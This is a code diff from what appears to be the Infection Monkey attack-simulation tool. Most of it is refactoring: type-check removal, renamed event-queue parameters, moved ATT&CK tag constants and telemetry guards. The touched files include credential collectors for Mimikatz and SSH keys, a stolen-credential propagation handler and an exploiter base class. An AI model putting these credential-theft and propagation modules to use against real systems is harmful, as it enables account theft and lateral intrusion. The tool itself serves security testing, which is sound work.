@ -15,9 +15,6 @@ class UnregisteredConventionError(ValueError):
pass pass
# Mypy doesn't handle cases where abstract class is passed as Type[...]
# https://github.com/python/mypy/issues/4717
# We are using typing.no_type_check to mitigate these errors
class DIContainer: class DIContainer:
""" """
A dependency injection (DI) container that uses type annotations to resolve and inject A dependency injection (DI) container that uses type annotations to resolve and inject
@ -29,7 +26,6 @@ class DIContainer:
self._instance_registry = {} self._instance_registry = {}
self._convention_registry = {} self._convention_registry = {}
@no_type_check
def register(self, interface: Type[T], concrete_type: Type[T]): def register(self, interface: Type[T], concrete_type: Type[T]):
""" """
Register a concrete `type` that satisfies a given interface. Register a concrete `type` that satisfies a given interface.
@ -59,7 +55,6 @@ class DIContainer:
self._type_registry[interface] = concrete_type self._type_registry[interface] = concrete_type
del_key(self._instance_registry, interface) del_key(self._instance_registry, interface)
@no_type_check
def register_instance(self, interface: Type[T], instance: T): def register_instance(self, interface: Type[T], instance: T):
""" """
Register a concrete instance that satisfies a given interface. Register a concrete instance that satisfies a given interface.
@ -78,7 +73,6 @@ class DIContainer:
self._instance_registry[interface] = instance self._instance_registry[interface] = instance
del_key(self._type_registry, interface) del_key(self._type_registry, interface)
@no_type_check
def register_convention(self, type_: Type[T], name: str, instance: T): def register_convention(self, type_: Type[T], name: str, instance: T):
""" """
Register an instance as a convention Register an instance as a convention
@ -107,7 +101,6 @@ class DIContainer:
""" """
self._convention_registry[(type_, name)] = instance self._convention_registry[(type_, name)] = instance
@no_type_check
def resolve(self, type_: Type[T]) -> T: def resolve(self, type_: Type[T]) -> T:
""" """
Resolves all dependencies and returns a new instance of `type_` using constructor dependency Resolves all dependencies and returns a new instance of `type_` using constructor dependency

View File

@ -2,4 +2,3 @@ from .types import AgentEventSubscriber
from .pypubsub_publisher_wrapper import PyPubSubPublisherWrapper from .pypubsub_publisher_wrapper import PyPubSubPublisherWrapper
from .i_agent_event_queue import IAgentEventQueue from .i_agent_event_queue import IAgentEventQueue
from .pypubsub_agent_event_queue import PyPubSubAgentEventQueue from .pypubsub_agent_event_queue import PyPubSubAgentEventQueue
from .locking_agent_event_queue_decorator import LockingAgentEventQueueDecorator

View File

@ -1,31 +0,0 @@
from threading import Lock
from typing import Type
from common.agent_events import AbstractAgentEvent
from . import AgentEventSubscriber, IAgentEventQueue
class LockingAgentEventQueueDecorator(IAgentEventQueue):
"""
Makes an IAgentEventQueue thread-safe by locking publish()
"""
def __init__(self, agent_event_queue: IAgentEventQueue, lock: Lock):
self._lock = lock
self._agent_event_queue = agent_event_queue
def subscribe_all_events(self, subscriber: AgentEventSubscriber):
self._agent_event_queue.subscribe_all_events(subscriber)
def subscribe_type(
self, event_type: Type[AbstractAgentEvent], subscriber: AgentEventSubscriber
):
self._agent_event_queue.subscribe_type(event_type, subscriber)
def subscribe_tag(self, tag: str, subscriber: AgentEventSubscriber):
self._agent_event_queue.subscribe_tag(tag, subscriber)
def publish(self, event: AbstractAgentEvent):
with self._lock:
self._agent_event_queue.publish(event)

View File

@ -4,7 +4,7 @@ import random
import socket import socket
import struct import struct
from abc import ABCMeta, abstractmethod from abc import ABCMeta, abstractmethod
from typing import Iterable, List, Tuple from typing import List, Tuple
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -58,7 +58,7 @@ class NetworkRange(object, metaclass=ABCMeta):
return SingleIpRange(ip_address=address_str) return SingleIpRange(ip_address=address_str)
@staticmethod @staticmethod
def filter_invalid_ranges(ranges: Iterable[str], error_msg: str) -> List[str]: def filter_invalid_ranges(ranges: List[str], error_msg: str) -> List[str]:
valid_ranges = [] valid_ranges = []
for target_range in ranges: for target_range in ranges:
try: try:
@ -193,7 +193,7 @@ class SingleIpRange(NetworkRange):
:return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com) :return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com)
""" """
# The most common use case is to enter ip/range into "Scan IP/subnet list" # The most common use case is to enter ip/range into "Scan IP/subnet list"
domain_name = None domain_name = ""
if " " in string_: if " " in string_:
raise ValueError(f'"{string_}" is not a valid IP address or domain name.') raise ValueError(f'"{string_}" is not a valid IP address or domain name.')

View File

@ -1,16 +1,12 @@
import ipaddress import ipaddress
from ipaddress import IPv4Address, IPv4Interface from ipaddress import IPv4Interface
from typing import List, Optional, Sequence, Tuple from typing import List, Optional, Sequence, Tuple
from netifaces import AF_INET, ifaddresses, interfaces from netifaces import AF_INET, ifaddresses, interfaces
def get_my_ip_addresses_legacy() -> Sequence[str]: def get_my_ip_addresses() -> Sequence[str]:
return [str(ip) for ip in get_my_ip_addresses()] return [str(interface.ip) for interface in get_network_interfaces()]
def get_my_ip_addresses() -> Sequence[IPv4Address]:
return [interface.ip for interface in get_network_interfaces()]
def get_network_interfaces() -> List[IPv4Interface]: def get_network_interfaces() -> List[IPv4Interface]:

View File

@ -1,14 +0,0 @@
from .attack import (
T1003_ATTACK_TECHNIQUE_TAG,
T1005_ATTACK_TECHNIQUE_TAG,
T1021_ATTACK_TECHNIQUE_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1098_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1145_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
T1222_ATTACK_TECHNIQUE_TAG,
T1570_ATTACK_TECHNIQUE_TAG,
)

View File

@ -1,12 +0,0 @@
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021"
T1059_ATTACK_TECHNIQUE_TAG = "attack-t1059"
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105"
T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110"
T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203"
T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210"
T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222"
T1570_ATTACK_TECHNIQUE_TAG = "attack-t1570"

View File

@ -1,94 +1,8 @@
from __future__ import annotations
from dataclasses import dataclass
from enum import Enum
from ipaddress import IPv4Address
from typing import Dict, List, Optional, Union
from uuid import UUID from uuid import UUID
from pydantic import ConstrainedInt, PositiveInt from pydantic import PositiveInt
from typing_extensions import TypeAlias from typing_extensions import TypeAlias
from common import OperatingSystem
from common.base_models import InfectionMonkeyBaseModel
from common.network.network_utils import address_to_ip_port
AgentID: TypeAlias = UUID AgentID: TypeAlias = UUID
HardwareID: TypeAlias = PositiveInt HardwareID: TypeAlias = PositiveInt
MachineID: TypeAlias = PositiveInt MachineID: TypeAlias = PositiveInt
JSONSerializable = Union[ # type: ignore[misc]
Dict[str, "JSONSerializable"], # type: ignore[misc]
List["JSONSerializable"], # type: ignore[misc]
int,
str,
float,
bool,
None,
]
class NetworkService(Enum):
"""
An Enum representing network services
This Enum represents all network services that Infection Monkey supports. The value of each
member is the member's name in all lower-case characters.
"""
UNKNOWN = "unknown"
class NetworkPort(ConstrainedInt):
"""
Define network port as constrainer integer.
To define a default value with this type:
port: NetworkPort = typing.cast(NetworkPort, 1000)
"""
ge = 0
le = 65535
@dataclass
class PingScanData:
response_received: bool
os: Optional[OperatingSystem]
class PortStatus(Enum):
"""
An Enum representing the status of the port.
This Enum represents the status of a network pork. The value of each
member is the member's name in all lower-case characters.
"""
OPEN = "open"
CLOSED = "closed"
class SocketAddress(InfectionMonkeyBaseModel):
ip: IPv4Address
port: NetworkPort
@classmethod
def from_string(cls, address_str: str) -> SocketAddress:
"""
Parse a SocketAddress object from a string
:param address_str: A string of ip:port
:raises ValueError: If the string is not a valid ip:port
:return: SocketAddress with the IP and port
"""
ip, port = address_to_ip_port(address_str)
if port is None:
raise ValueError("SocketAddress requires a port")
return SocketAddress(ip=IPv4Address(ip), port=int(port))
def __hash__(self):
return hash(str(self))
def __str__(self):
return f"{self.ip}:{self.port}"

View File

@ -35,7 +35,6 @@ bcrypt = "==3.2.2"
[dev-packages] [dev-packages]
ldap3 = "*" ldap3 = "*"
mypy = "*"
[requires] [requires]
python_version = "3.7" python_version = "3.7"

View File

@ -1,7 +1,7 @@
{ {
"_meta": { "_meta": {
"hash": { "hash": {
"sha256": "f9abf32c9cb2724beb6b120c657d79fde001468eeab93775dc0fc31bf6eaa3d9" "sha256": "5e9fbd68544462c51d9b31787a43522f1e39978044952717a42de8aee1844917"
}, },
"pipfile-spec": 6, "pipfile-spec": 6,
"requires": { "requires": {
@ -243,7 +243,7 @@
"sha256:0f7569a4a6ff151958b64304071d370daa3243d15941a7beedf0c9fe5105603e", "sha256:0f7569a4a6ff151958b64304071d370daa3243d15941a7beedf0c9fe5105603e",
"sha256:a851e51367fb93e9e1361732c1d60dab63eff98712e503ea7d92e6eccb109b4f" "sha256:a851e51367fb93e9e1361732c1d60dab63eff98712e503ea7d92e6eccb109b4f"
], ],
"markers": "python_version >= '3.6' and python_version < '4'", "markers": "python_version >= '3.6' and python_version < '4.0'",
"version": "==2.2.1" "version": "==2.2.1"
}, },
"egg-timer": { "egg-timer": {
@ -1040,42 +1040,6 @@
], ],
"version": "==2.9.1" "version": "==2.9.1"
}, },
"mypy": {
"hashes": [
"sha256:02ef476f6dcb86e6f502ae39a16b93285fef97e7f1ff22932b657d1ef1f28655",
"sha256:0d054ef16b071149917085f51f89555a576e2618d5d9dd70bd6eea6410af3ac9",
"sha256:19830b7dba7d5356d3e26e2427a2ec91c994cd92d983142cbd025ebe81d69cf3",
"sha256:1f7656b69974a6933e987ee8ffb951d836272d6c0f81d727f1d0e2696074d9e6",
"sha256:23488a14a83bca6e54402c2e6435467a4138785df93ec85aeff64c6170077fb0",
"sha256:23c7ff43fff4b0df93a186581885c8512bc50fc4d4910e0f838e35d6bb6b5e58",
"sha256:25c5750ba5609a0c7550b73a33deb314ecfb559c350bb050b655505e8aed4103",
"sha256:2ad53cf9c3adc43cf3bea0a7d01a2f2e86db9fe7596dfecb4496a5dda63cbb09",
"sha256:3fa7a477b9900be9b7dd4bab30a12759e5abe9586574ceb944bc29cddf8f0417",
"sha256:40b0f21484238269ae6a57200c807d80debc6459d444c0489a102d7c6a75fa56",
"sha256:4b21e5b1a70dfb972490035128f305c39bc4bc253f34e96a4adf9127cf943eb2",
"sha256:5a361d92635ad4ada1b1b2d3630fc2f53f2127d51cf2def9db83cba32e47c856",
"sha256:77a514ea15d3007d33a9e2157b0ba9c267496acf12a7f2b9b9f8446337aac5b0",
"sha256:855048b6feb6dfe09d3353466004490b1872887150c5bb5caad7838b57328cc8",
"sha256:9796a2ba7b4b538649caa5cecd398d873f4022ed2333ffde58eaf604c4d2cb27",
"sha256:98e02d56ebe93981c41211c05adb630d1d26c14195d04d95e49cd97dbc046dc5",
"sha256:b793b899f7cf563b1e7044a5c97361196b938e92f0a4343a5d27966a53d2ec71",
"sha256:d1ea5d12c8e2d266b5fb8c7a5d2e9c0219fedfeb493b7ed60cd350322384ac27",
"sha256:d2022bfadb7a5c2ef410d6a7c9763188afdb7f3533f22a0a32be10d571ee4bbe",
"sha256:d3348e7eb2eea2472db611486846742d5d52d1290576de99d59edeb7cd4a42ca",
"sha256:d744f72eb39f69312bc6c2abf8ff6656973120e2eb3f3ec4f758ed47e414a4bf",
"sha256:ef943c72a786b0f8d90fd76e9b39ce81fb7171172daf84bf43eaf937e9f220a9",
"sha256:f2899a3cbd394da157194f913a931edfd4be5f274a88041c9dc2d9cdcb1c315c"
],
"index": "pypi",
"version": "==0.971"
},
"mypy-extensions": {
"hashes": [
"sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d",
"sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8"
],
"version": "==0.4.3"
},
"pyasn1": { "pyasn1": {
"hashes": [ "hashes": [
"sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359",
@ -1093,52 +1057,6 @@
"sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3"
], ],
"version": "==0.4.8" "version": "==0.4.8"
},
"tomli": {
"hashes": [
"sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc",
"sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"
],
"markers": "python_version < '3.11'",
"version": "==2.0.1"
},
"typed-ast": {
"hashes": [
"sha256:0261195c2062caf107831e92a76764c81227dae162c4f75192c0d489faf751a2",
"sha256:0fdbcf2fef0ca421a3f5912555804296f0b0960f0418c440f5d6d3abb549f3e1",
"sha256:183afdf0ec5b1b211724dfef3d2cad2d767cbefac291f24d69b00546c1837fb6",
"sha256:211260621ab1cd7324e0798d6be953d00b74e0428382991adfddb352252f1d62",
"sha256:267e3f78697a6c00c689c03db4876dd1efdfea2f251a5ad6555e82a26847b4ac",
"sha256:2efae9db7a8c05ad5547d522e7dbe62c83d838d3906a3716d1478b6c1d61388d",
"sha256:370788a63915e82fd6f212865a596a0fefcbb7d408bbbb13dea723d971ed8bdc",
"sha256:39e21ceb7388e4bb37f4c679d72707ed46c2fbf2a5609b8b8ebc4b067d977df2",
"sha256:3e123d878ba170397916557d31c8f589951e353cc95fb7f24f6bb69adc1a8a97",
"sha256:4879da6c9b73443f97e731b617184a596ac1235fe91f98d279a7af36c796da35",
"sha256:4e964b4ff86550a7a7d56345c7864b18f403f5bd7380edf44a3c1fb4ee7ac6c6",
"sha256:639c5f0b21776605dd6c9dbe592d5228f021404dafd377e2b7ac046b0349b1a1",
"sha256:669dd0c4167f6f2cd9f57041e03c3c2ebf9063d0757dc89f79ba1daa2bfca9d4",
"sha256:6778e1b2f81dfc7bc58e4b259363b83d2e509a65198e85d5700dfae4c6c8ff1c",
"sha256:683407d92dc953c8a7347119596f0b0e6c55eb98ebebd9b23437501b28dcbb8e",
"sha256:79b1e0869db7c830ba6a981d58711c88b6677506e648496b1f64ac7d15633aec",
"sha256:7d5d014b7daa8b0bf2eaef684295acae12b036d79f54178b92a2b6a56f92278f",
"sha256:98f80dee3c03455e92796b58b98ff6ca0b2a6f652120c263efdba4d6c5e58f72",
"sha256:a94d55d142c9265f4ea46fab70977a1944ecae359ae867397757d836ea5a3f47",
"sha256:a9916d2bb8865f973824fb47436fa45e1ebf2efd920f2b9f99342cb7fab93f72",
"sha256:c542eeda69212fa10a7ada75e668876fdec5f856cd3d06829e6aa64ad17c8dfe",
"sha256:cf4afcfac006ece570e32d6fa90ab74a17245b83dfd6655a6f68568098345ff6",
"sha256:ebd9d7f80ccf7a82ac5f88c521115cc55d84e35bf8b446fcd7836eb6b98929a3",
"sha256:ed855bbe3eb3715fca349c80174cfcfd699c2f9de574d40527b8429acae23a66"
],
"markers": "python_version < '3.8'",
"version": "==1.5.4"
},
"typing-extensions": {
"hashes": [
"sha256:25642c956049920a5aa49edcdd6ab1e06d7e5d467fc00e0506c44ac86fbfca02",
"sha256:e6d2677a32f47fc7eb2795db1dd15c1f34eff616bcaf2cfb5e997f854fa1c4a6"
],
"index": "pypi",
"version": "==4.3.0"
} }
} }
} }

View File

@ -79,8 +79,8 @@ class BatchingAgentEventForwarder:
try: try:
logger.debug(f"Sending Agent events to Island: {events}") logger.debug(f"Sending Agent events to Island: {events}")
self._island_api_client.send_events(events) self._island_api_client.send_events(events)
except Exception: except Exception as err:
logger.exception("Exception caught when connecting to the Island") logger.warning(f"Exception caught when connecting to the Island: {err}")
def _send_remaining_events(self): def _send_remaining_events(self):
self._send_events_to_island() self._send_events_to_island()

View File

@ -1,5 +0,0 @@
from .notify_relay_on_propagation import notify_relay_on_propagation
from .agent_event_forwarder import AgentEventForwarder
from .add_stolen_credentials_to_repository import (
add_stolen_credentials_to_propagation_credentials_repository,
)

View File

@ -1,31 +0,0 @@
import logging
from typing import Optional
from common.agent_events import PropagationEvent
from infection_monkey.network.relay import TCPRelay
logger = logging.getLogger(__name__)
class notify_relay_on_propagation:
"""
Notifies a TCPRelay of potential relay users if propagation is successful
"""
def __init__(self, tcp_relay: Optional[TCPRelay]):
"""
:param tcp_relay: A TCPRelay to notify on successful propagation
"""
self._tcp_relay = tcp_relay
def __call__(self, event: PropagationEvent):
"""
Notify a TCPRelay of potential relay users if propagation is successful
:param event: A `PropagationEvent`
"""
if self._tcp_relay is None:
return
if event.success:
self._tcp_relay.add_potential_user(event.target)

View File

@ -7,8 +7,7 @@ import requests
from urllib3 import disable_warnings from urllib3 import disable_warnings
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
from common.network.network_utils import get_my_ip_addresses_legacy from common.network.network_utils import get_my_ip_addresses
from common.types import SocketAddress
from infection_monkey.config import GUID from infection_monkey.config import GUID
from infection_monkey.island_api_client import IIslandAPIClient from infection_monkey.island_api_client import IIslandAPIClient
from infection_monkey.network.info import get_host_subnets from infection_monkey.network.info import get_host_subnets
@ -25,7 +24,7 @@ class ControlClient:
# https://github.com/guardicore/monkey/blob/133f7f5da131b481561141171827d1f9943f6aec/monkey/infection_monkey/telemetry/base_telem.py # https://github.com/guardicore/monkey/blob/133f7f5da131b481561141171827d1f9943f6aec/monkey/infection_monkey/telemetry/base_telem.py
control_client_object = None control_client_object = None
def __init__(self, server_address: SocketAddress, island_api_client: IIslandAPIClient): def __init__(self, server_address: str, island_api_client: IIslandAPIClient):
self.server_address = server_address self.server_address = server_address
self._island_api_client = island_api_client self._island_api_client = island_api_client
@ -40,7 +39,7 @@ class ControlClient:
monkey = { monkey = {
"guid": GUID, "guid": GUID,
"hostname": hostname, "hostname": hostname,
"ip_addresses": get_my_ip_addresses_legacy(), "ip_addresses": get_my_ip_addresses(),
"networks": get_host_subnets(), "networks": get_host_subnets(),
"description": " ".join(platform.uname()), "description": " ".join(platform.uname()),
"parent": parent, "parent": parent,
@ -56,6 +55,12 @@ class ControlClient:
) )
def send_telemetry(self, telem_category, json_data: str): def send_telemetry(self, telem_category, json_data: str):
if not self.server_address:
logger.error(
"Trying to send %s telemetry before current server is established, aborting."
% telem_category
)
return
try: try:
telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data} telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data}
requests.post( # noqa: DUO123 requests.post( # noqa: DUO123
@ -68,6 +73,15 @@ class ControlClient:
except Exception as exc: except Exception as exc:
logger.warning(f"Error connecting to control server {self.server_address}: {exc}") logger.warning(f"Error connecting to control server {self.server_address}: {exc}")
def send_log(self, log):
if not self.server_address:
return
try:
telemetry = {"monkey_guid": GUID, "log": json.dumps(log)}
self._island_api_client.send_log(json.dumps(telemetry))
except Exception as exc:
logger.warning(f"Error connecting to control server {self.server_address}: {exc}")
def get_pba_file(self, filename): def get_pba_file(self, filename):
try: try:
return self._island_api_client.get_pba_file(filename) return self._island_api_client.get_pba_file(filename)

View File

@ -4,7 +4,6 @@ from typing import Sequence
from common.agent_events import CredentialsStolenEvent from common.agent_events import CredentialsStolenEvent
from common.credentials import Credentials, LMHash, NTHash, Password, Username from common.credentials import Credentials, LMHash, NTHash, Password, Username
from common.event_queue import IAgentEventQueue from common.event_queue import IAgentEventQueue
from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1005_ATTACK_TECHNIQUE_TAG
from infection_monkey.i_puppet import ICredentialCollector from infection_monkey.i_puppet import ICredentialCollector
from infection_monkey.model import USERNAME_PREFIX from infection_monkey.model import USERNAME_PREFIX
from infection_monkey.utils.ids import get_agent_id from infection_monkey.utils.ids import get_agent_id
@ -16,6 +15,8 @@ logger = logging.getLogger(__name__)
MIMIKATZ_CREDENTIAL_COLLECTOR_TAG = "mimikatz-credentials-collector" MIMIKATZ_CREDENTIAL_COLLECTOR_TAG = "mimikatz-credentials-collector"
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
MIMIKATZ_EVENT_TAGS = frozenset( MIMIKATZ_EVENT_TAGS = frozenset(
( (
@ -27,8 +28,8 @@ MIMIKATZ_EVENT_TAGS = frozenset(
class MimikatzCredentialCollector(ICredentialCollector): class MimikatzCredentialCollector(ICredentialCollector):
def __init__(self, agent_event_queue: IAgentEventQueue): def __init__(self, event_queue: IAgentEventQueue):
self._agent_event_queue = agent_event_queue self._event_queue = event_queue
def collect_credentials(self, options=None) -> Sequence[Credentials]: def collect_credentials(self, options=None) -> Sequence[Credentials]:
logger.info("Attempting to collect windows credentials with pypykatz.") logger.info("Attempting to collect windows credentials with pypykatz.")
@ -81,4 +82,4 @@ class MimikatzCredentialCollector(ICredentialCollector):
stolen_credentials=collected_credentials, stolen_credentials=collected_credentials,
) )
self._agent_event_queue.publish(credentials_stolen_event) self._event_queue.publish(credentials_stolen_event)

View File

@ -15,15 +15,13 @@ class SSHCredentialCollector(ICredentialCollector):
SSH keys credential collector SSH keys credential collector
""" """
def __init__( def __init__(self, telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue):
self, telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue
):
self._telemetry_messenger = telemetry_messenger self._telemetry_messenger = telemetry_messenger
self._agent_event_queue = agent_event_queue self._event_queue = event_queue
def collect_credentials(self, _options=None) -> Sequence[Credentials]: def collect_credentials(self, _options=None) -> Sequence[Credentials]:
logger.info("Started scanning for SSH credentials") logger.info("Started scanning for SSH credentials")
ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._agent_event_queue) ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._event_queue)
logger.info("Finished scanning for SSH credentials") logger.info("Finished scanning for SSH credentials")
return ssh_handler.to_credentials(ssh_info) return ssh_handler.to_credentials(ssh_info)

View File

@ -6,11 +6,6 @@ from typing import Dict, Iterable, Sequence
from common.agent_events import CredentialsStolenEvent from common.agent_events import CredentialsStolenEvent
from common.credentials import Credentials, SSHKeypair, Username from common.credentials import Credentials, SSHKeypair, Username
from common.event_queue import IAgentEventQueue from common.event_queue import IAgentEventQueue
from common.tags import (
T1003_ATTACK_TECHNIQUE_TAG,
T1005_ATTACK_TECHNIQUE_TAG,
T1145_ATTACK_TECHNIQUE_TAG,
)
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
from infection_monkey.telemetry.attack.t1145_telem import T1145Telem from infection_monkey.telemetry.attack.t1145_telem import T1145Telem
@ -22,6 +17,9 @@ logger = logging.getLogger(__name__)
DEFAULT_DIRS = ["/.ssh/", "/"] DEFAULT_DIRS = ["/.ssh/", "/"]
SSH_CREDENTIAL_COLLECTOR_TAG = "ssh-credentials-collector" SSH_CREDENTIAL_COLLECTOR_TAG = "ssh-credentials-collector"
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
SSH_COLLECTOR_EVENT_TAGS = frozenset( SSH_COLLECTOR_EVENT_TAGS = frozenset(
( (
@ -34,7 +32,7 @@ SSH_COLLECTOR_EVENT_TAGS = frozenset(
def get_ssh_info( def get_ssh_info(
telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue
) -> Iterable[Dict]: ) -> Iterable[Dict]:
# TODO: Remove this check when this is turned into a plugin. # TODO: Remove this check when this is turned into a plugin.
if is_windows_os(): if is_windows_os():
@ -44,7 +42,7 @@ def get_ssh_info(
return [] return []
home_dirs = _get_home_dirs() home_dirs = _get_home_dirs()
ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, agent_event_queue) ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, event_queue)
return ssh_info return ssh_info
@ -85,7 +83,7 @@ def _get_ssh_struct(name: str, home_dir: str) -> Dict:
def _get_ssh_files( def _get_ssh_files(
user_info: Iterable[Dict], user_info: Iterable[Dict],
telemetry_messenger: ITelemetryMessenger, telemetry_messenger: ITelemetryMessenger,
agent_event_queue: IAgentEventQueue, event_queue: IAgentEventQueue,
) -> Iterable[Dict]: ) -> Iterable[Dict]:
for info in user_info: for info in user_info:
path = info["home_dir"] path = info["home_dir"]
@ -127,7 +125,7 @@ def _get_ssh_files(
collected_credentials = to_credentials([info]) collected_credentials = to_credentials([info])
_publish_credentials_stolen_event( _publish_credentials_stolen_event(
collected_credentials, agent_event_queue collected_credentials, event_queue
) )
else: else:
continue continue
@ -172,7 +170,7 @@ def to_credentials(ssh_info: Iterable[Dict]) -> Sequence[Credentials]:
def _publish_credentials_stolen_event( def _publish_credentials_stolen_event(
collected_credentials: Sequence[Credentials], agent_event_queue: IAgentEventQueue collected_credentials: Credentials, event_queue: IAgentEventQueue
): ):
credentials_stolen_event = CredentialsStolenEvent( credentials_stolen_event = CredentialsStolenEvent(
source=get_agent_id(), source=get_agent_id(),
@ -180,4 +178,4 @@ def _publish_credentials_stolen_event(
stolen_credentials=collected_credentials, stolen_credentials=collected_credentials,
) )
agent_event_queue.publish(credentials_stolen_event) event_queue.publish(credentials_stolen_event)

View File

@ -2,3 +2,6 @@ from .i_propagation_credentials_repository import IPropagationCredentialsReposit
from .aggregating_propagation_credentials_repository import ( from .aggregating_propagation_credentials_repository import (
AggregatingPropagationCredentialsRepository, AggregatingPropagationCredentialsRepository,
) )
from .add_credentials_from_event import (
add_credentials_from_event_to_propagation_credentials_repository,
)

View File

@ -1,12 +1,13 @@
import logging import logging
from common.agent_events import CredentialsStolenEvent from common.agent_events import CredentialsStolenEvent
from infection_monkey.credential_repository import IPropagationCredentialsRepository
from . import IPropagationCredentialsRepository
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
class add_stolen_credentials_to_propagation_credentials_repository: class add_credentials_from_event_to_propagation_credentials_repository:
def __init__(self, credentials_repository: IPropagationCredentialsRepository): def __init__(self, credentials_repository: IPropagationCredentialsRepository):
self._credentials_repository = credentials_repository self._credentials_repository = credentials_repository

View File

@ -2,17 +2,13 @@ import logging
import threading import threading
from abc import abstractmethod from abc import abstractmethod
from datetime import datetime from datetime import datetime
from ipaddress import IPv4Address from typing import Dict, Sequence
from time import time
from typing import Dict, Sequence, Tuple
from common.agent_events import ExploitationEvent, PropagationEvent
from common.event_queue import IAgentEventQueue from common.event_queue import IAgentEventQueue
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import VictimHost from infection_monkey.model import VictimHost
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
from infection_monkey.utils.ids import get_agent_id
from . import IAgentBinaryRepository from . import IAgentBinaryRepository
@ -25,16 +21,6 @@ class HostExploiter:
def _EXPLOITED_SERVICE(self): def _EXPLOITED_SERVICE(self):
pass pass
@property
@abstractmethod
def _EXPLOITER_TAGS(self) -> Tuple[str, ...]:
pass
@property
@abstractmethod
def _PROPAGATION_TAGS(self) -> Tuple[str, ...]:
pass
def __init__(self): def __init__(self):
self.exploit_info = { self.exploit_info = {
"display_name": self._EXPLOITED_SERVICE, "display_name": self._EXPLOITED_SERVICE,
@ -47,7 +33,7 @@ class HostExploiter:
self.exploit_attempts = [] self.exploit_attempts = []
self.host = None self.host = None
self.telemetry_messenger = None self.telemetry_messenger = None
self.agent_event_queue = None self.event_queue = None
self.options = {} self.options = {}
self.exploit_result = {} self.exploit_result = {}
self.servers = [] self.servers = []
@ -70,13 +56,14 @@ class HostExploiter:
} }
) )
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
def exploit_host( def exploit_host(
self, self,
host: VictimHost, host: VictimHost,
servers: Sequence[str], servers: Sequence[str],
current_depth: int, current_depth: int,
telemetry_messenger: ITelemetryMessenger, telemetry_messenger: ITelemetryMessenger,
agent_event_queue: IAgentEventQueue, event_queue: IAgentEventQueue,
agent_binary_repository: IAgentBinaryRepository, agent_binary_repository: IAgentBinaryRepository,
options: Dict, options: Dict,
interrupt: threading.Event, interrupt: threading.Event,
@ -85,7 +72,7 @@ class HostExploiter:
self.servers = servers self.servers = servers
self.current_depth = current_depth self.current_depth = current_depth
self.telemetry_messenger = telemetry_messenger self.telemetry_messenger = telemetry_messenger
self.agent_event_queue = agent_event_queue self.event_queue = event_queue
self.agent_binary_repository = agent_binary_repository self.agent_binary_repository = agent_binary_repository
self.options = options self.options = options
self.interrupt = interrupt self.interrupt = interrupt
@ -138,39 +125,3 @@ class HostExploiter:
""" """
powershell = True if "powershell" in cmd.lower() else False powershell = True if "powershell" in cmd.lower() else False
self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell})
def _publish_exploitation_event(
self,
time: float = time(),
success: bool = False,
tags: Tuple[str, ...] = tuple(),
error_message: str = "",
):
exploitation_event = ExploitationEvent(
source=get_agent_id(),
target=IPv4Address(self.host.ip_addr),
success=success,
exploiter_name=self.__class__.__name__,
error_message=error_message,
timestamp=time,
tags=frozenset(tags or self._EXPLOITER_TAGS),
)
